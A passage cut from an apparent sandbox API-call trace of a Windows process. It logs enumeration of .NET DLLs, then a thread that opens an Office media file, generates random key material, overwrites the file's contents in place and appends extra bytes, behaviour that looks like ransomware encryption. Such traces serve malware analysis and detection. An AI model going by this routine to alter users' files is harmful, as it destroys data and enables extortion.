ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0126.590] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.DataSetExtensions.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Data.Entity.Design.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.Entity.Design.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46a196b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Data.Entity.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.Entity.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64fb223, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64fb223, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Data.Linq.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.Linq.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Data.Services.Client.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.Services.Client.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Data.Services.Design.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.Services.Design.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb462f54b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb462f54b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb462f54b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Data.Services.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Data.Services.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.DirectoryServices.AccountManagement.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb669e146, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb669e146, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0126.591] wcscmp (_String1="System.Management.Instrumentation.dll", _String2=".") returned 1 [0126.591] wcscmp (_String1="System.Management.Instrumentation.dll", _String2="..") returned 1 [0126.591] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Net.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Net.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44fea48, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44fea48, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.ServiceModel.Web.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.ServiceModel.Web.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb662bd26, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb662bd26, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Abstractions.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Web.Abstractions.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Web.Abstractions.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6488e03, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6488e03, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6488e03, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Web.DynamicData.Design.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64d50c3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.DynamicData.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Web.DynamicData.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Web.DynamicData.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6521384, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6521384, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6521384, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.Design.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Web.Entity.Design.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Web.Entity.Design.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6677fe6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Entity.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Web.Entity.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Web.Entity.dll", _String2="..") returned 1 [0126.592] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65b9905, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65b9905, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65b9905, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x52000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.Design.dll", cAlternateFileName="")) returned 1 [0126.592] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2=".") returned 1 [0126.592] wcscmp (_String1="System.Web.Extensions.Design.dll", _String2="..") returned 1 [0126.593] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46a196b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46a196b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46c7acc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x138000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Extensions.dll", cAlternateFileName="")) returned 1 [0126.593] wcscmp (_String1="System.Web.Extensions.dll", _String2=".") returned 1 [0126.593] wcscmp (_String1="System.Web.Extensions.dll", _String2="..") returned 1 [0126.593] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6677fe6, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6677fe6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb669e146, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Web.Routing.dll", cAlternateFileName="")) returned 1 [0126.593] wcscmp (_String1="System.Web.Routing.dll", _String2=".") returned 1 [0126.593] wcscmp (_String1="System.Web.Routing.dll", _String2="..") returned 1 [0126.593] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e608f1c, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x8e608f1c, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x8e62f07c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Windows.Presentation.dll", cAlternateFileName="")) returned 1 [0126.593] wcscmp (_String1="System.Windows.Presentation.dll", _String2=".") returned 1 [0126.593] wcscmp (_String1="System.Windows.Presentation.dll", _String2="..") returned 1 [0126.593] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44fea48, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.WorkflowServices.dll", cAlternateFileName="")) returned 1 [0126.593] wcscmp (_String1="System.WorkflowServices.dll", _String2=".") returned 1 [0126.593] wcscmp (_String1="System.WorkflowServices.dll", _String2="..") returned 1 [0126.593] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 1 [0126.593] wcscmp (_String1="System.Xml.Linq.dll", _String2=".") returned 1 [0126.593] wcscmp (_String1="System.Xml.Linq.dll", _String2="..") returned 1 [0126.593] FindNextFileW (in: hFindFile=0x1cd9deb0, lpFindFileData=0x2027cf50 | out: lpFindFileData=0x2027cf50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xml.Linq.dll", cAlternateFileName="")) returned 0 [0126.593] FindClose (in: hFindFile=0x1cd9deb0 | out: hFindFile=0x1cd9deb0) returned 1 [0126.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027cf50) returned 1 [0126.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad020) returned 1 [0126.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027b4b0) returned 1 Thread: id = 1219 os_tid = 0xd8c [0114.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf")) returned 0x20 [0114.889] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF", dwFileAttributes=0x20) returned 1 [0114.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c0 [0114.891] GetFileSizeEx (in: hFile=0x14c0, lpFileSize=0x3886fb60 | out: lpFileSize=0x3886fb60*=2376) returned 1 [0114.891] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x944, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.891] ReadFile (in: hFile=0x14c0, lpBuffer=0x3886fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3886fb28, lpOverlapped=0x0 | out: lpBuffer=0x3886fae0*, lpNumberOfBytesRead=0x3886fb28*=0x4, lpOverlapped=0x0) returned 1 [0114.893] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0114.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0114.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0114.893] NtQuerySystemTime (in: CurrentTime=0x3886fa20 | out: CurrentTime=0x3886fa20*=132462177203458000) returned 0x0 [0114.893] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x78327b07 [0114.893] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x5f16c3b0 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x158e12e [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x77a4dc51 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x22c9043f [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x6634d040 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x12695b0c [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x7ae59ad9 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x3228f435 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x6ca6dbae [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x35d8a1db [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x669988cc [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x47934914 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x50d8695e [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x183e38e8 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x3d0b1fea [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x2d3d7653 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x7db94550 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x5d096701 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x7429a38b [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x52a1f3e3 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x50c8971c [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x1bfd8dd4 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x2b5f3128 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x9ea4149 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x32fe5a43 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x1f0d83d9 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x3e25c5d2 [0114.894] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x6a1da706 [0114.895] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x7bec974a [0114.895] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x58ed5b48 [0114.895] RtlRandomEx (in: Seed=0x3886fa10 | out: Seed=0x3886fa10) returned 0x16c4652c [0114.904] ReadFile (in: hFile=0x14c0, lpBuffer=0x41edb4e0, nNumberOfBytesToRead=0x948, lpNumberOfBytesRead=0x3886fa10, lpOverlapped=0x0 | out: lpBuffer=0x41edb4e0*, lpNumberOfBytesRead=0x3886fa10*=0x948, lpOverlapped=0x0) returned 1 [0114.904] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.904] WriteFile (in: hFile=0x14c0, lpBuffer=0x41edf0f0*, nNumberOfBytesToWrite=0x948, lpNumberOfBytesWritten=0x3886fa14, lpOverlapped=0x0 | out: lpBuffer=0x41edf0f0*, lpNumberOfBytesWritten=0x3886fa14*=0x948, lpOverlapped=0x0) returned 1 [0114.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0114.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0114.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0114.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edf0f0) returned 1 [0114.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41edb4e0) returned 1 [0114.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.911] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.911] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202608f0 [0114.912] SetFilePointerEx (in: hFile=0x14c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.912] WriteFile (in: hFile=0x14c0, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3886fb30, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x3886fb30*=0x10a, lpOverlapped=0x0) returned 1 [0114.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0114.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262000) returned 1 [0114.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0114.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262000 [0114.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0114.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f60) returned 1 [0114.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.918] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.918] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0114.918] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="a6") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="64") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="cd") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="8f") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="62") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="bf") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="b7") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="35") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="f4") returned 2 [0114.918] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="04") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="39") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="bb") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="7e") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="03") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="a8") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="80") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="54") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="c0") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="a5") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="87") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="9c") returned 2 [0114.919] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: 